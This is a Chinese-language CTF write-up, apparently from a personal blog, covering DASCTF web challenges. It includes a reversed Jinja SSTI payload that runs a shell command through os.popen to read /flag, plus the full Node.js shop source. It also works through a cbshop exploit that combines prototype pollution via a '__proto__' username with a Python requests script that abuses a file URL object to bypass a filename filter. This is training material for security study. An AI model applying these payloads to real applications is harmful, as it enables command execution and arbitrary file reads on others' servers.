March 2, 2023

DASCTF 五月出题人挑战赛

前言

弥补一下入门的遗憾,当时睡过头了错过了这场比赛,还是很像再试试的

dino3d

考点:前端JS
一个3D小游戏,直奔JS去分析,在死亡时抓包会看到以下内容:
image.png
score就是成绩,checkcode验证码,tm这个一眼时间戳吧
现在思路就分为下面的三点了

我们在js中全局搜索一下checkcode:
image.png
image.png
得到了2个有用信息,然后还发现了:
image.png
唯一不清楚的就是那个t是什么,我们搜索一下sn这个函数:
image.png
发现被调用过一次,第二个参数就是checkcode,所以t就是上面的checkcode,即为
DASxCBCTF_wElc03e
接下来就是伪造一下checkcode了:
image.png
8140de91e819b6525c5e872921ff86b1
image.png
爆破一下时间戳
image.png
可以得到答案

Text Reverser

考点:简单的SSTI
他会先进行逆序,所以我们要反转一下payload:
{%print(lipsum.__globals__.os.popen('more /flag').read())%}
image.png

cbshop

考点:Node.js原型污染,一些node和json的小tips
开局给源码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
const fs = require('fs');
const express = require('express');
const session = require('express-session');
const bodyParse = require('body-parser');
const app = express();
const PORT = process.env.PORT || 80;
const SECRET = process.env.SECRET || "cybershop_challenge_secret"

const adminUser = {
username: "admin",
password: "😀admin😀",
money: 9999
};

app.use(bodyParse.urlencoded({extended: false}));
app.use(express.json());
app.use(session({
secret: SECRET,
saveUninitialized: false,
resave: false,
cookie: { maxAge: 3600 * 1000 }
}));
app.use(express.static("static"));

app.get('/isLogin', function(req, res) {
if(req.session.username) {
return res.json({
code: 2,
username: req.session.username,
money: req.session.money
});
}else{
return res.json({code: 0, msg: 'Please login!'});
}
});


app.post('/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (typeof username !== 'string' || username === '' || typeof password !== 'string' || password === '') {
return res.json({code: 4, msg: 'illegal username or password!'})
}

if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
req.session.username = username;
req.session.money = adminUser.money;
return res.json({
code: 1,
username: username,
money: req.session.money,
msg: 'admin login success!'
});
}
req.session.username = username;
req.session.money = 10;
return res.json({
code: 1,
username: username,
money: req.session.money,
msg: `${username} login success!`
});
});

app.post('/changeUsername', function(req, res) {
if(!req.session.username) {
return res.json({
code: 0,
msg: 'please login!'
});
}
let username = req.body.username;
if (typeof username !== 'string' || username === '') {
return res.json({code: 4, msg: 'illegal username!'})
}
req.session.username = username;
return res.json({
code: 2,
username: username,
money: req.session.money,
msg: 'Username change success'
});
});

//购买商品的接口
function buyApi(user, product) {
let order = {};
if(!order[user.username]) {
order[user.username] = {};
}

Object.assign(order[user.username], product);

if(product.id === 1) { //buy fakeFlag
if(user.money >= 10) {
user.money -= 10;
Object.assign(order, { msg: fs.readFileSync('/fakeFlag').toString() });
}else{
Object.assign(order,{ msg: "you don't have enough money!" });
}
}else if(product.id === 2) { //buy flag
if(user.money >= 11 && user.token) { //do u have token?
if(JSON.stringify(product).includes("flag")) {
Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
}else{
user.money -= 11;
Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
}
}else {
Object.assign(order,{ msg: "nononono!" });
}
}else {
Object.assign(order,{ code: 0, msg: "no such product!" });
}
Object.assign(order, { username: user.username, code: 3, money: user.money });
return order;
}

app.post('/buy', function(req, res) {
if(!req.session.username) {
return res.json({
code: 0,
msg: 'please login!'
});
}
var user = {
username: req.session.username,
money: req.session.money
};
var order = buyApi(user, req.body);
req.session.money = user.money;
res.json(order);
});

app.get('/logout', function(req, res) {
req.session.destroy();
return res.json({
code: 0,
msg: 'logout success!'
});
});

app.listen(PORT, () => {console.log(`APP RUN IN ${PORT}`)});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
function displayChange(data) {
let anonymous = document.querySelector('#anonymous');
let user = document.querySelector('#user');
let money = document.querySelector('#money');
let welcome = document.querySelector('#welcome');
if(data.code) {
if(data.code === 4) {
alert(data.msg);
return
}
alert(data.msg);
anonymous.style.display = 'none';
user.style.display = 'block';
money.innerText = `Money: ¥${data.money}`;
welcome.innerText = `Welcome: ${data.username}`;
}else{
alert(data.msg);
anonymous.style.display = 'block';
document.querySelector('#change_btn').style.display = 'none';
document.querySelector('#login_btn').style.display = 'block';
document.querySelector('#password').style.display = 'block';
document.querySelector('#lc').innerText = 'login';
user.style.display = 'none';
money.innerText = '';
welcome.innerText = '';
}
}

(function() {
fetch('/isLogin', {
method: 'GET'
})
.then(response => response.json())
.then(data => displayChange(data));
})();

function login() {
let username = document.querySelector("input[name=username]").value;
let password = document.querySelector("input[name=password]").value;
fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({'username': username, 'password': password})
})
.then(response => response.json())
.then(data => displayChange(data));
}

function logout() {
fetch('/logout', {
method: 'GET'
})
.then(response => response.json())
.then(data => displayChange(data));
}

function changeUsername() {
let username = document.querySelector("input[name=username]").value;
let anonymous = document.querySelector('#anonymous');
if(anonymous.style.display == 'none') {
anonymous.style.display = 'block';
document.querySelector('#login_btn').style.display = 'none';
document.querySelector('#user').style.display = 'none';
document.querySelector('#change_btn').style.display = 'block';
document.querySelector('#password').style.display = 'none';
document.querySelector('#lc').innerText = 'change username';
}else{
fetch('/changeUsername', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({'username': username})
})
.then(response => response.json())
.then(data => displayChange(data));
}
}


function buy(product) {
fetch('/buy', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
'name': '/' + product.name,
'id': Number(product.getAttribute('idNum'))
})
})
.then(response => response.json())
.then(data => displayChange(data));
}

重点还是放在这个源码上app.js从这里也可以看到题目的逻辑
可以看到是存在一个admin账户的,但是有2个emoji该怎么输入呢?,这里就是js的一个特性了,我们可以直接拖进console界面:"😀admin😀".substring(1,6)
image.png
得到\uDE00admi,这里又涉及到一个小tips,由源码也不难知道,我们输入的payload是以json的格式传输过去,所以可以识别unicode编码的字符串,因此在登录界面用burpsuite抓包然后改包:
image.png
成功登录进去了,把返回的connect-id自己加上即可
image.png
可是仍然购买不了flag,根据源码可以知道还需要满足一个条件if(user.money >= 11 && user.token)就是user对象还需要有token这个属性
那我们怎么给他加上呢?这边就涉及到了原型链污染,原型链是什么就不赘述很基础的东西
审计buyapi函数:
Object.assign(order[user.username], product);他使用了assign对order[user.username]添加了属性,那假如user.username=__proto__是否就可以直接污染原型了?显然是正确的
所以接下来只需要改用户名,然后抓包改一下payload:
image.png
可以看到有token了,进入了第二层判断,最后一层做了一个过滤,就是name中不得有flag字符串,这道坎该怎么去翻过去呢,我们把name改为一个空对象看会发生什么:
image.pngTypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string or an instance of Buffer or URL
报错信息中提示了我们一下,我们的name要不然是字符串,要不然就应该是一个URL实例,在本地测试一下:

1
2
3
4
5
var url=new URL("file://C:\\Users\\xxxx\\Desktop\\Useful\\danger\\fl%61g.txt")
var fs=require("fs")
flag=fs.readFileSync(url)
console.log(flag.toString());
console.log(url);

image.png
成功的被我们读取了出来,url会识别url编码,所以可以达到绕过,我们只需要仿照上面的url格式去传参即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import json
data = {
"name":{
"href": 'file:///fl%61g',
"origin": 'null',
"protocol": 'file:',
"username": '',
"password": '',
"host": '',
"hostname": '',
"port": '',
"pathname": '/fl%61g',
"search": '',
"searchParams": "URLSearchParams {}",
"hash": ''
},
"id":2,
"token":True
}
data=json.dumps(data)
print(data)
url="http://25e33aa8-4097-44f6-a4de-534fe3161134.node4.buuoj.cn:81/buy"
headers={
"Content-Type":"application/json"
}
cookies={
"connect.sid":"s%3A3UT1RE1gNE_qKz96N4MyFw4Hfh3sCJ-E.pmFoCQu%2BSv7XPLAiU2ZfosJNlBXIsplesg3b6NIIWjM"
}
f=requests.post(url=url,data=data,headers=headers,cookies=cookies)
print(f.text)

image.png
sure~

zzz_again

考点:PHP代码究极审计
参考:

跟着走就可以了:
image.png

JavaMaster

考点:内存马注入,CC11链利用,gopher
也请参考官方WP:
还是没学到这里,就看得懂一半多一点,正在往JAVA靠
手打内存马,真牛。。。。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#DASCTF